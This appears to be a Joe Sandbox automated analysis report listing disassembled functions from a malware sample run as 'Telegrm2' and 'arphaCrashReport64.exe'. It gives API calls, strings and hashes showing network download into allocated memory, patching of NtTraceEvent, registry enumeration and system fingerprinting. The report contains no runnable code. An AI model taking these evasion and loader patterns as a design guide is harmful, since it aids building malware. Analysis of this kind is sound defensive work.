csm, xrefs: 0364628B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: 90f89ec2de00c44a7dc6312cbda39f3fbc68a833e2f8e0ebfb77f4ed360922f2
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: C221F973500B44DACB24CF66C48429D3B75F359BADF8A1265EA4D0BB18CB79C4D0C788

Function 0364630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 03640B80: _getptd.LIBCMT ref: 03640B8D
Part of subcall function 03640B80: _getptd.LIBCMT ref: 03640BA0

_getptd.LIBCMT ref: 0364636C
_getptd.LIBCMT ref: 0364637F

Strings

csm, xrefs: 0364632B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 29198a3677b8c36004143ce18fa0167df212d59833fd449b28b4df90f771a288
Instruction ID: 5801e07c8d5b42df6e846da851c65506c8380f77c8921660a9c919179de7cff0
Opcode Fuzzy Hash: 29198a3677b8c36004143ce18fa0167df212d59833fd449b28b4df90f771a288
Instruction Fuzzy Hash: 7C015666900781CACB36EF22D8502AC2368F746F5AF5D2169CA4D0B704EF32C184C308

Function 0363FC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0363FC36

Part of subcall function 0363581C: RaiseException.KERNEL32 ref: 03635897

std::exception::exception.LIBCMT ref: 0363FC70

Part of subcall function 03633854: std::exception::operator=.LIBCMT ref: 03633870

Strings

regular expression error, xrefs: 0363FC20

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: 54dc49ab9a36d59352b8a96441749410c586f1224bf269000d358555d745d810
Instruction ID: 3072c694b3379df27f0ca0c2984a3e8fc72c0ce2755ed8fde034b6939b321a7f
Opcode Fuzzy Hash: 54dc49ab9a36d59352b8a96441749410c586f1224bf269000d358555d745d810
Instruction Fuzzy Hash: 51F08C7A604B8AA2DB14CF55F980349B364F348384F509416EBDD4BB28DB78C6A9CB00

Function 0362F130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0362F166
wsprintfW.USER32 ref: 0362F184

Part of subcall function 0362EF20: FindFirstFileW.KERNEL32 ref: 0362EFF0

Strings

%s%s, xrefs: 0362F175

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: 3084dc4b64192912b4ac598f00f8f60031d5f95227920344201119a47f06daa2
Instruction ID: fba1104610addb26a25aa015e1487dea766ddef45e54cdfa682b49573a7a0585
Opcode Fuzzy Hash: 3084dc4b64192912b4ac598f00f8f60031d5f95227920344201119a47f06daa2
Instruction Fuzzy Hash: A7013621714E85D1EB61DF21FC947AA7764F7C9BC8F849021EA8D47A18DE3DC249CB44

Function 0334D7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0334D7B6
__doserrno.LIBCMT ref: 0334D7C1

Strings

M, xrefs: 0334D7B0

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction ID: 9dda5eb52132f1f96d55a93c22504371b57a34e058e55d0e0f6e0e11a8bf7a84
Opcode Fuzzy Hash: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction Fuzzy Hash: F8E04F7661C6084DE748AF54E4823B83BC0FB43234F80555AE1EA9A591DA7A60064745

Function 0363DDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0363DDFE
__doserrno.LIBCMT ref: 0363DE09

Strings

M, xrefs: 0363DDF8

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: bef018dd93b4693aea0e923226f2c4608fc2f15fde579d0668000115d27f6d06
Instruction ID: b2a1d9ae0a6d2c68fffb5f34a764030d17fee456c5c78828d8e86812240aa1af
Opcode Fuzzy Hash: bef018dd93b4693aea0e923226f2c4608fc2f15fde579d0668000115d27f6d06
Instruction Fuzzy Hash: 9CE0ECBB51464089F393EF64F9513592A90A792338F81C2169B680A6C0CA7C84C78B14

Function 03335B08 Relevance: 5.1, APIs: 4, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 03335B43

Part of subcall function 033436E0: _errno.LIBCMT ref: 03343700

free.LIBCMT ref: 03335B6B
free.LIBCMT ref: 03335B85
free.LIBCMT ref: 03335BB3

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction ID: 47fdc7e13550a8ad51a826cc0892d1293c333a110be8c86f8ce6ebd18cf2280c
Opcode Fuzzy Hash: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction Fuzzy Hash: 77216D35624F0A5FCBA5EF1DC4E4B26B3E1FF99210B5845AD944DD7651CE30F8868740

Function 03626150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0362618B

Part of subcall function 03633D28: HeapFree.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D3E
Part of subcall function 03633D28: _errno.LIBCMT ref: 03633D48
Part of subcall function 03633D28: GetLastError.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D50

free.LIBCMT ref: 036261B3
free.LIBCMT ref: 036261CD
free.LIBCMT ref: 036261FB

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 926a81a16b6259c14920b2060e70d6e26c74df43b3fa4f2c08237a8ba31f8c32
Instruction ID: 1c32ecebef43b9866bb9c6c32d0e72ba7f63fd2ba75e8cf9683a89ddad0b6a4c
Opcode Fuzzy Hash: 926a81a16b6259c14920b2060e70d6e26c74df43b3fa4f2c08237a8ba31f8c32
Instruction Fuzzy Hash: 25113A3A601F8191CE16EF16EA50269A724FB9AFC0F1C68268F8E5BB15DE29E0518744

Analysis Process: arphaCrashReport64.exePID: 6456, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	48.2%
Signature Coverage:	0%
Total number of Nodes:	906
Total number of Limit Nodes:	38

Executed Functions

Function 00007FF600164FE0 Relevance: 65.1, APIs: 35, Strings: 2, Instructions: 398
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CommandLineToArgvW.SHELL32 ref: 00007FF600165028
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165059
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165094
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF6001650F1

Part of subcall function 00007FF600162750: _CxxThrowException.LIBVCRUNTIME ref: 00007FF60016276C

SetWindowLocalDump.ARPHADUMP64 ref: 00007FF6001650FE
LocalFree.KERNEL32 ref: 00007FF60016511C
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165122
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165153
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165165
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF600165182
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF60016519D
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF6001651AF
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF6001651CC
EnterCriticalSection.KERNEL32 ref: 00007FF600165213
GetCurrentThreadId.KERNEL32 ref: 00007FF600165219
LeaveCriticalSection.KERNEL32 ref: 00007FF600165296
SetWindowLocalDump.ARPHADUMP64 ref: 00007FF60016529C

Strings

arpha_winlocaldumpdir, xrefs: 00007FF6001650BA
arpha_winlocaldumpexe, xrefs: 00007FF60016507F

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Local$DumpWindow$CriticalSection$ArgvCommandCurrentEnterExceptionFreeLeaveLineThreadThrow
String ID: arpha_winlocaldumpdir$arpha_winlocaldumpexe
API String ID: 1478015506-3845740607
Opcode ID: 9b7d2a6452f4294c9ae12609badc9aeb7a3720a96c2b1d471fa69ec30be05c9f
Instruction ID: 0c1847623c94ea95b414199a4bb3c8bab2ef482d7c4111675b20c24062dda1f2
Opcode Fuzzy Hash: 9b7d2a6452f4294c9ae12609badc9aeb7a3720a96c2b1d471fa69ec30be05c9f
Instruction Fuzzy Hash: 8F028D72A08E42A6EB10DFA5E8446AD33A2FF84B84F644175DA4E837ADDF7CD548C700

Function 0000021497F214C0 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 174
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F21546
GetProcAddress.KERNEL32 ref: 0000021497F21559
GetProcAddress.KERNEL32 ref: 0000021497F2156C
GetProcAddress.KERNEL32 ref: 0000021497F21581
GetProcAddress.KERNEL32 ref: 0000021497F21591
GetProcAddress.KERNEL32 ref: 0000021497F215A1
RegOpenKeyExA.KERNELBASE ref: 0000021497F215CC
lstrcpy.KERNEL32 ref: 0000021497F21771
FreeLibrary.KERNEL32 ref: 0000021497F21796

Strings

RegEnumValueA, xrefs: 0000021497F21577
%08X, xrefs: 0000021497F2171E
ADVAPI32.dll, xrefs: 0000021497F2153F
RegEnumKeyExA, xrefs: 0000021497F21587
RegCloseKey, xrefs: 0000021497F21597
RegQueryValueExA, xrefs: 0000021497F2154F
RegOpenKeyExA, xrefs: 0000021497F21562

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoadOpenlstrcpy
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA
API String ID: 73907543-2913591164
Opcode ID: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction ID: 52ed224b1cc0564cececdb327139dc9b509b053f6c262c5f94c09926677d5d4a
Opcode Fuzzy Hash: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction Fuzzy Hash: 32713035224A8082EB60EB15E868BEB7364F7997D5F405512EA8E53B6CDF38C549CF04

Function 0000021497F24530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000021497F2455D
GetProcAddress.KERNEL32 ref: 0000021497F2456D
LoadLibraryA.KERNEL32 ref: 0000021497F2459E
GetProcAddress.KERNEL32 ref: 0000021497F245AE
VirtualProtect.KERNELBASE ref: 0000021497F245CF
VirtualProtect.KERNELBASE ref: 0000021497F245E7
lstrcpy.KERNEL32 ref: 0000021497F24603
CloseHandle.KERNEL32 ref: 0000021497F24640
CloseHandle.KERNEL32 ref: 0000021497F24665
CreateThread.KERNELBASE ref: 0000021497F246F7
WaitForSingleObject.KERNEL32 ref: 0000021497F24706
CloseHandle.KERNEL32 ref: 0000021497F2470F

Strings

driver, xrefs: 0000021497F2467B
ntdll.dll, xrefs: 0000021497F2454E, 0000021497F24587
Mov, xrefs: 0000021497F24715
NtTraceEvent, xrefs: 0000021497F245A4
run, xrefs: 0000021497F2466B
NtTerminateThread, xrefs: 0000021497F24563

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Handle$Close$AddressProcProtectVirtual$CreateLibraryLoadModuleObjectSingleThreadWaitlstrcpy
String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 2320672033-2918648053
Opcode ID: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction ID: 38c60bb70f388d7be1a3ef6c4ad860361c1d5adfd55dee52da60bd391c695fcb
Opcode Fuzzy Hash: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction Fuzzy Hash: 44619F7121468582EA10FB21A86CBEB67A0F7A5BD6F804925DA4E5779EDF7CC508CB00

Function 00007FF8A8D263F8 Relevance: 28.9, APIs: 19, Instructions: 377
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNELBASE ref: 00007FF8A8D2646A
GetLastError.KERNEL32 ref: 00007FF8A8D26480
MultiByteToWideChar.KERNEL32 ref: 00007FF8A8D2652A
malloc.LIBCMT ref: 00007FF8A8D2659B
MultiByteToWideChar.KERNEL32 ref: 00007FF8A8D265D2
LCMapStringW.KERNEL32 ref: 00007FF8A8D265F7
LCMapStringW.KERNEL32 ref: 00007FF8A8D26647
malloc.LIBCMT ref: 00007FF8A8D2669A
LCMapStringW.KERNEL32 ref: 00007FF8A8D266D4
WideCharToMultiByte.KERNEL32 ref: 00007FF8A8D26717
free.LIBCMT ref: 00007FF8A8D26728
free.LIBCMT ref: 00007FF8A8D26736
LCMapStringA.KERNEL32 ref: 00007FF8A8D267C5
malloc.LIBCMT ref: 00007FF8A8D26833
LCMapStringA.KERNEL32 ref: 00007FF8A8D2687C
free.LIBCMT ref: 00007FF8A8D268C4
LCMapStringA.KERNEL32 ref: 00007FF8A8D268E4
free.LIBCMT ref: 00007FF8A8D268F6
free.LIBCMT ref: 00007FF8A8D26908

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: String$free$ByteCharMultiWidemalloc$ErrorLast
String ID:
API String ID: 1837315383-0
Opcode ID: 400ea71fb48555d96f43ecf733a5580efca3da6b475d4926e1cb498674c2e82d
Instruction ID: c4a6b9659eeca4f5284e935578757dedbeef7f3a27570ce3456311584d00c9c0
Opcode Fuzzy Hash: 400ea71fb48555d96f43ecf733a5580efca3da6b475d4926e1cb498674c2e82d
Instruction Fuzzy Hash: 56F11772A0A781AAE7208F24F4001B977A1FB54BE8F544235EA7D57BD4EF3CE9488714

Function 0000021496230C79 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 249
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 0000021496230CE7
socket.WS2_32 ref: 0000021496230D0E
connect.WS2_32 ref: 0000021496230D75
send.WS2_32 ref: 0000021496230D8B
recv.WS2_32 ref: 0000021496230DB5
NtAllocateVirtualMemory.NTDLL ref: 0000021496230DEE
NtAllocateVirtualMemory.NTDLL ref: 0000021496230E37
recv.WS2_32 ref: 0000021496230E50
closesocket.WS2_32 ref: 0000021496230E90

Strings

@, xrefs: 0000021496230E0A

Memory Dump Source

Source File: 00000003.00000002.3890167290.0000021496230000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000021496230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21496230000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$Startupclosesocketconnectsendsocket
String ID: @
API String ID: 4278212906-2766056989
Opcode ID: 56a3fed7da5864b94984c1579b8c5a1be58e3b0788e64a60c5c1e2669a7318f1
Instruction ID: 4dd6b125083b6abd61e712c0585902d679d68299df52fc47ea64caa776585136
Opcode Fuzzy Hash: 56a3fed7da5864b94984c1579b8c5a1be58e3b0788e64a60c5c1e2669a7318f1
Instruction Fuzzy Hash: B371D430208B484FDB68EF288889BEEB7E1FB99345F1045AED58EC7196DF31D5468781

Function 0000021497F21E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0000021497F21ED5
GetCurrentThreadId.KERNEL32 ref: 0000021497F21EE5
VirtualAlloc.KERNEL32 ref: 0000021497F21F6D
VirtualFree.KERNEL32 ref: 0000021497F21FA7
VirtualAlloc.KERNEL32 ref: 0000021497F2200F
VirtualFree.KERNEL32 ref: 0000021497F22049
VirtualAlloc.KERNEL32 ref: 0000021497F220BC
VirtualFree.KERNEL32 ref: 0000021497F220F6
GetCurrentThreadId.KERNEL32 ref: 0000021497F22173

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction ID: c53c269c7bd76c9e577273e1efe5ea49da6094e369ecb2daf153ba25c89f2a37
Opcode Fuzzy Hash: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction Fuzzy Hash: A691D132304B8097EB1DEB25D268BDA77A1F755785F008528DB4A67B58DF34E4B2CB40

Function 0000021497C30020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0000021497C3011F

Strings

@, xrefs: 0000021497C300ED
XVXT, xrefs: 0000021497C3042B

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: f3aaf7ff379954750ef2f4106b5643d0b8ca1b1dbf349719c40c8148520ad816
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: F6D1A631614A498FDB68EF18D888FFAB7E2FB69302F14456DD44EC7142DA35D886CB80

Function 0000021497C30091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0000021497C3011F
LdrLoadDll.NTDLL ref: 0000021497C302D8

Strings

@, xrefs: 0000021497C300ED

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: 7b19bdceae021b1da5116724273a9d9aea2e3319cc3befb3d9fde49097520492
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: 1491B431614A498FDB69EF58C888BFDB7E2FB65302F14456DE44EC7292DA34D886CB40

Function 00007FF8A8D21050 Relevance: 82.4, APIs: 8, Strings: 39, Instructions: 139
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00007FF8A8D210D4
RegOpenKeyExW.KERNELBASE ref: 00007FF8A8D210FB
GetProcAddress.KERNEL32 ref: 00007FF8A8D211EB
RegGetValueW.KERNELBASE ref: 00007FF8A8D2122E
GetProcAddress.KERNEL32 ref: 00007FF8A8D2128B
RegCloseKey.KERNELBASE ref: 00007FF8A8D21296
GetProcAddress.KERNEL32 ref: 00007FF8A8D2131F
VirtualProtect.KERNELBASE ref: 00007FF8A8D21345

Strings

a, xrefs: 00007FF8A8D212CF
t, xrefs: 00007FF8A8D211AB
u, xrefs: 00007FF8A8D211CB
e, xrefs: 00007FF8A8D21249
G, xrefs: 00007FF8A8D2119B
g, xrefs: 00007FF8A8D21193
t, xrefs: 00007FF8A8D212F7
s, xrefs: 00007FF8A8D21262
l, xrefs: 00007FF8A8D211C3
e, xrefs: 00007FF8A8D21267
R, xrefs: 00007FF8A8D21183
o, xrefs: 00007FF8A8D212EF
o, xrefs: 00007FF8A8D2125D
V, xrefs: 00007FF8A8D211B3
u, xrefs: 00007FF8A8D212C7
e, xrefs: 00007FF8A8D212FF
lpData, xrefs: 00007FF8A8D21206
C, xrefs: 00007FF8A8D21253
SOFTWARE, xrefs: 00007FF8A8D210DF
l, xrefs: 00007FF8A8D212D7
e, xrefs: 00007FF8A8D2118B
r, xrefs: 00007FF8A8D212B7
V, xrefs: 00007FF8A8D212A7
y, xrefs: 00007FF8A8D2127C
l, xrefs: 00007FF8A8D21258
c, xrefs: 00007FF8A8D21307
a, xrefs: 00007FF8A8D211BB
t, xrefs: 00007FF8A8D2130F
W, xrefs: 00007FF8A8D211DB
e, xrefs: 00007FF8A8D211D3
e, xrefs: 00007FF8A8D21274
r, xrefs: 00007FF8A8D212E7
K, xrefs: 00007FF8A8D2126C
R, xrefs: 00007FF8A8D21244
e, xrefs: 00007FF8A8D211A3
i, xrefs: 00007FF8A8D212AF
g, xrefs: 00007FF8A8D2124E
t, xrefs: 00007FF8A8D212BF
P, xrefs: 00007FF8A8D212DF

Memory Dump Source

Source File: 00000003.00000002.3891001809.00007FF8A8D21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF8A8D20000, based on PE: true

Associated: 00000003.00000002.3890981666.00007FF8A8D20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891020205.00007FF8A8D2A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891042350.00007FF8A8D2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3891059513.00007FF8A8D31000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8d20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$CloseOpenProtectValueVirtual
String ID: C$G$K$P$R$R$SOFTWARE$V$V$W$a$a$c$e$e$e$e$e$e$e$g$g$i$l$l$l$lpData$o$o$r$r$s$t$t$t$t$u$u$y
API String ID: 2887040864-1668064147
Opcode ID: 66db1752739624b81b7b7db69dcd4bd46bfa9ff92f5b6477fe3715e5f2e82e2d
Instruction ID: eff2449b289ab468bd27686bb02201188cf2f35d56c96d67d26c3e71fc977f98
Opcode Fuzzy Hash: 66db1752739624b81b7b7db69dcd4bd46bfa9ff92f5b6477fe3715e5f2e82e2d
Instruction Fuzzy Hash: 49811A2260CBC1C9E721C728E44875FBF91E792788F444069D2DC47A9ADFBED148CB26

Function 0000021497F23560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000021497F23430: GetCurrentHwProfileA.ADVAPI32 ref: 0000021497F2346F
Part of subcall function 0000021497F23430: GetComputerNameA.KERNEL32 ref: 0000021497F234C5

lstrcat.KERNEL32 ref: 0000021497F235C6

Part of subcall function 0000021497F321D0: GetComputerNameA.KERNEL32 ref: 0000021497F3222B
Part of subcall function 0000021497F321D0: lstrcpy.KERNEL32 ref: 0000021497F32241
Part of subcall function 0000021497F321D0: wsprintfA.USER32 ref: 0000021497F32270

GetComputerNameA.KERNEL32 ref: 0000021497F235FF
GetCurrentProcessId.KERNEL32 ref: 0000021497F23612
LoadLibraryA.KERNEL32 ref: 0000021497F2367A
GetProcAddress.KERNEL32 ref: 0000021497F2368A
GetUserNameA.ADVAPI32 ref: 0000021497F23699
CreateToolhelp32Snapshot.KERNEL32 ref: 0000021497F23703
